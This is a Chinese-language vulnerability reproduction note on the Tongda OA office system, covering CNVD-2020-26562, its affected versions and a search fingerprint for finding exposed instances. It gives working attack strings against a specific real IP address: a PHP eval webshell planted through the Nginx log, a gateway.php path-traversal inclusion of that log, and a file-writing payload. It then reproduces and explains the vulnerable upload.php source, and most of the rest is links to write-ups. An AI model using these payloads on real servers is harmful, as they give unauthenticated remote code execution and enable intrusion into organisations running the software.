漏洞复现-通达OA

通达OA

通达OA 网络智能办公系统 是由北京通达信科科技有限公司开发的一款办公系统
采用基于WEB的企业计算，
主HTTP服务器采用了世界上最先进的Apache服务器，性能稳定可靠。
数据存取集中控制，避免了数据泄漏的可能。
提供数据备份工具，保护系统数据安全。
多级的权限控制，完善的密码验证与登录验证机制更加强了系统安全性。

自主研发的协同办公自动化软件，
是与中国企业管理实践相结合形成的综合管理办公平台
2015年，通达云OA入驻阿里云企业应用专区，为众多中小企业提供稳定、可靠的云计算支撑

通达OA可供用户免费下载使用，安装简单，默认安装了Nginx、mysql等服务，
系统默认由System权限启动

360安全大脑-Quake网络空间测绘系统通过对全网资产测绘

1：未授权文件上传 + 文件包含姿势

2：Nginx日志 + 文件包含

http://www.360doc.com/content/20/0405/19/64353657_904057447.shtml
58.56.254.122:8081/<?php@eval($_POST['aming']);?>

http://58.56.254.122:8081/ispirit/interface/gateway.php?json={}&url=…/…/ispirit/…/…/nginx/logs/oa.access.log

http://cn-sec.com/archives/498043.html
http://58.56.254.122:8081/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>

通达OA2017，V11.X<V11.5
通达oa远程命令执行：影响的版本有：V11版，2017版，2016版，2015版，2013增强版，2013版。

app=“通达OA” body=" static/images/tongda.ico"

http://www.dennis.org.cn/

https://blog.csdn.net/szgyunyun/article/details/107104288

https://blog.csdn.net/blue_fantasy/article/details/122403451

https://blog.csdn.net/weixin_44831109/article/details/123841373

https://blog.csdn.net/qq_29443517/article/details/106275093

CNVD:CNVD-2020-26562

未授权的情况下可上传图片木马文件
精心构造的请求进行文件包含，实现远程命令执行，且攻击者无须登陆认证即可完成攻击

影响范围
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017

V11版 2017版 2016版 2015版 2013增强版2013版
未授权上传文件
\ispirit\im\upload.php

<?php

set_time_limit(0);
$P = $_POST['P'];if(isset($P)|| $P !=''){ob_start();
 include_once 'inc/session.php';session_id($P);session_start();session_write_close();}else{
 include_once './auth.php';}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack =array();if($DEST_UID !=''&&!td_verify_ids($ids)){
 $dataBack =array('status'=>0,'content'=>'-ERR '._('接收
 方ID无效'));
 echo json_encode(data2utf8($dataBack));
 exit;}if(strpos($DEST_UID,',')!==false){}else{
 $DEST_UID =intval($DEST_UID);}if($DEST_UID ==0){if($UPLOAD_MODE !=2){
 $dataBack =array('status'=>0,'content'=>'-ERR '._('接收方ID无效'));
 echo json_encode(data2utf8($dataBack));
 exit;}}
$MODULE ='im';if(1<=count($_FILES)){if($UPLOAD_MODE =='1'){if(strlen(urldecode($_FILES['ATTACHMENT']['name']))!=strlen($_FILES['ATTACHMENT']['name'])){
 $_FILES['ATTACHMENT']['name']=urldecode($_FILES['ATTACHMENT']['name']);}}
 $ATTACHMENTS =upload('ATTACHMENT', $MODULE,false);if(!is_array($ATTACHMENTS)){
 $dataBack =array('status'=>0,'content'=>'-ERR '. 
 $ATTACHMENTS);
 echo json_encode(data2utf8($dataBack));
 exit;}ob_end_clean();
 $ATTACHMENT_ID =substr($ATTACHMENTS['ID'],0,-1);
 $ATTACHMENT_NAME =substr($ATTACHMENTS['NAME'],0,-1);if($TYPE =='mobile'){
 $ATTACHMENT_NAME =td_iconv(urldecode($ATTACHMENT_NAME),'utf-8', MYOA_CHARSET);}}else{
 $dataBack =array('status'=>0,'content'=>'-ERR '._('无文
 件上传'));
 echo json_encode(data2utf8($dataBack));
 exit;}
$FILE_SIZE =attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, 
$MODULE);if(!$FILE_SIZE){
 $dataBack =array('status'=>0,'content'=>'-ERR '._('文件
 上传失败'));
 echo json_encode(data2utf8($dataBack));
 exit;}if($UPLOAD_MODE =='1'){if(is_thumbable($ATTACHMENT_NAME)){
 $FILE_PATH =attach_real_path($ATTACHMENT_ID, 
 $ATTACHMENT_NAME, $MODULE);
 $THUMB_FILE_PATH =substr($FILE_PATH,0,strlen($FILE_PATH)-strlen($ATTACHMENT_NAME)).'thumb_'. $ATTACHMENT_NAME;CreateThumb($FILE_PATH,320,240, $THUMB_FILE_PATH);}
 $P_VER =is_numeric($P_VER)?intval($P_VER):0;
 $MSG_CATE = $_POST['MSG_CATE'];if($MSG_CATE =='file'){
 $CONTENT ='[fm]'. $ATTACHMENT_ID .'|'. 
 $ATTACHMENT_NAME .'|'. $FILE_SIZE .'[/fm]';}else{if($MSG_CATE =='image'){
 $CONTENT ='[im]'. $ATTACHMENT_ID .'|'. 
 $ATTACHMENT_NAME .'|'. $FILE_SIZE .'[/im]';}else{
 $DURATION =intval($DURATION);
 $CONTENT ='[vm]'. $ATTACHMENT_ID .'|'. 
 $ATTACHMENT_NAME .'|'. $DURATION .'[/vm]';}}
 $AID =0;
 $POS =strpos($ATTACHMENT_ID,'@');if($POS !==false){
 $AID =intval(substr($ATTACHMENT_ID,0, $POS));}
 $query = 'INSERT INTO im_offline_file(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID)values(\''.date('Y-m-d H:i:s').'\',\''. 
 $_SESSION['LOGIN_UID'].'\',\''. $DEST_UID .'\',\'*'. $ATTACHMENT_ID .'.'. 
 $ATTACHMENT_NAME .'\',\''. $FILE_SIZE .'\',\'0\',\''. 
 $AID 
 .'\')';
 $cursor =exequery(TD::conn(), $query);
 $FILE_ID =mysql_insert_id();if($cursor ===false){
 $dataBack =array('status'=>0,'content'=>'-ERR '._('数据库操作失败'));
 echo json_encode(data2utf8($dataBack));
 exit;}
 $dataBack =array('status'=>1,'content'=> $CONTENT,'file_id'=> $FILE_ID);
 echo json_encode(data2utf8($dataBack));
 exit;}else{if($UPLOAD_MODE =='2'){
 $DURATION =intval($_POST['DURATION']);
 $CONTENT ='[vm]'. $ATTACHMENT_ID .'|'. 
 $ATTACHMENT_NAME .'|'. $DURATION .'[/vm]';
 $query = 'INSERT INTO WEIXUN_SHARE(UID, CONTENT, 
 ADDTIME)VALUES(\''. $_SESSION['LOGIN_UID'].'\', \''. 
 $CONTENT 
 .'\', \''.time().'\')';
 $cursor =exequery(TD::conn(), $query);
 echo '+OK '. $CONTENT;}else{if($UPLOAD_MODE =='3'){if(is_thumbable($ATTACHMENT_NAME)){
 $FILE_PATH =attach_real_path($ATTACHMENT_ID, 
 $ATTACHMENT_NAME, $MODULE);
 $THUMB_FILE_PATH =substr($FILE_PATH,0,strlen($FILE_PATH)-strlen($ATTACHMENT_NAME)).'thumb_'. $ATTACHMENT_NAME;CreateThumb($FILE_PATH,320,240, 
 $THUMB_FILE_PATH);}
 echo '+OK '. $ATTACHMENT_ID;}else{
 $CONTENT ='[fm]'. $ATTACHMENT_ID .'|'. 
 $ATTACHMENT_NAME .'|'. $FILE_SIZE .'[/fm]';
 $msg_id =send_msg($_SESSION['LOGIN_UID'], 
 $DEST_UID,1, $CONTENT,'',2);
 $query = 'insert into IM_OFFLINE_FILE(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG)values(\''.date('Y-m-d H:i:s').'\',\''. 
 $_SESSION['LOGIN_UID'].'\',\''. $DEST_UID .'\',\'*'. $ATTACHMENT_ID .'.'. $ATTACHMENT_NAME 
 .'\',\''. $FILE_SIZE .'\',\'0\')';
 $cursor =exequery(TD::conn(), $query);
 $FILE_ID =mysql_insert_id();if($cursor ===false){
 echo '-ERR '._('数据库操作失败');
 exit;}if($FILE_ID ==0){
 echo '-ERR '._('数据库操作失败2');
 exit;}
 echo '+OK ,'. $FILE_ID .','. $msg_id;
 exit;}}}

源码采用了zend加密，解密后才能正常阅读代码

第一个if(第5行)对P进行了判断，只要传递了参数P或者不为空，就可以进入下面的语句，
如果判断失败，就进入else，也就是身份认证功能

 function upload($PREFIX ='ATTACHMENT', $MODULE ='', $OUTPUT =true){if(strstr($MODULE,'/')||strstr($MODULE,'\\')){if(!$OUTPUT){return_('参数含有非法字符。');}Message(_('错误'),_('参数含有非法字符。'));
 exit;}
 $ATTACHMENTS =array('ID'=>'','NAME'=>'');reset($_FILES);foreach($_FILES as $KEY => $ATTACHMENT){if($ATTACHMENT['error']==4|| $KEY != $PREFIX &&substr($KEY,0,strlen($PREFIX)+1)!= $PREFIX .'_'){continue;}
 $data_charset =isset($_GET['data_charset'])?
 $_GET['data_charset']:(isset($_POST['data_charset'])?
 $_POST['data_charset']:'');
 $ATTACH_NAME = $data_charset !=''?td_iconv($ATTACHMENT['name'], $data_charset, 
 MYOA_CHARSET): $ATTACHMENT['name'];
 $ATTACH_SIZE = $ATTACHMENT['size'];
 $ATTACH_ERROR = $ATTACHMENT['error'];
 $ATTACH_FILE = $ATTACHMENT['tmp_name'];
 $ERROR_DESC ='';if($ATTACH_ERROR == UPLOAD_ERR_OK){if(!is_uploadable($ATTACH_NAME)){
 $ERROR_DESC =sprintf(_('禁止上传后缀名为[%s]的文
 件'),substr($ATTACH_NAME,strrpos($ATTACH_NAME,'.')+1));}
 $encode =mb_detect_encoding($ATTACH_NAME,array('ASCII','UTF-8','GB2312','GBK','BIG5'));if($encode !='UTF-8'){
 $ATTACH_NAME_UTF8 =mb_convert_encoding($ATTACH_NAME,'utf-8', 
 MYOA_CHARSET);}else{
 $ATTACH_NAME_UTF8 = $ATTACH_NAME;}if(preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u', 
 $ATTACH_NAME_UTF8)){
 $ERROR_DESC =sprintf(_('文件名[%s]包含
 [/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);}if($ATTACH_SIZE ==0){
 $ERROR_DESC =sprintf(_('文件[%s]大小为0字节'), 
 $ATTACH_NAME);}if($ERROR_DESC ==''){
 $ATTACH_NAME =str_replace('\'','', 
 $ATTACH_NAME);
 $ATTACH_ID =add_attach($ATTACH_FILE, 
 $ATTACH_NAME, $MODULE);if($ATTACH_ID ===false){
 $ERROR_DESC =sprintf(_('文件[%s]上传失败'), 
 $ATTACH_NAME);}else{
 $ATTACHMENTS['ID'].= $ATTACH_ID .',';
 $ATTACHMENTS['NAME'].= $ATTACH_NAME .'*';}}
 @unlink($ATTACH_FILE);}else{if($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE){
 $ERROR_DESC =sprintf(_('文件[%s]的大小超过了系统
 限制
（%s）'), $ATTACH_NAME, ini_get('upload_max_filesize'));}else{if($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE){
 $ERROR_DESC =sprintf(_('文件[%s]的大小超过
 了表
单限制'), $ATTACH_NAME);}else{if($ATTACH_ERROR == UPLOAD_ERR_PARTIAL){
 $ERROR_DESC =sprintf(_('文件[%s]上传不
 完整'), $ATTACH_NAME);}else{if($ATTACH_ERROR == 
 UPLOAD_ERR_NO_TMP_DIR){
 $ERROR_DESC =sprintf(_('文件[%s]上
 传失败：找不到临时文件夹'), 
 $ATTACH_NAME);}else{if($ATTACH_ERROR == U
 PLOAD_ERR_CANT_WRITE){
 $ERROR_DESC =sprintf(_('文件
 [%s]写入失败'), $ATTACH_NAME);}else{
 $ERROR_DESC =sprintf(_('未知错
 误[代码：%s]'), $ATTACH_ERROR);}}}}}}if($ERROR_DESC !=''){if(!$OUTPUT){delete_attach($ATTACHMENTS['ID'], 
 $ATTACHMENTS['NAME'], $MODULE);return $ERROR_DESC;}else{Message(_('错误'), $ERROR_DESC);}}}return $ATTACHMENTS;}

https://blog.csdn.net/weixin_45728976/article/details/105166034
https://blog.csdn.net/hackzkaq/article/details/115900500

11.5 sql注入漏洞复现

前提登录
https://www.csdn.net/tags/MtTaEgwsMTU3NzMzLWJsb2cO0O0O.html

2017 11.x<11.5任意用户未授权

https://blog.csdn.net/qq_45290991/article/details/120212257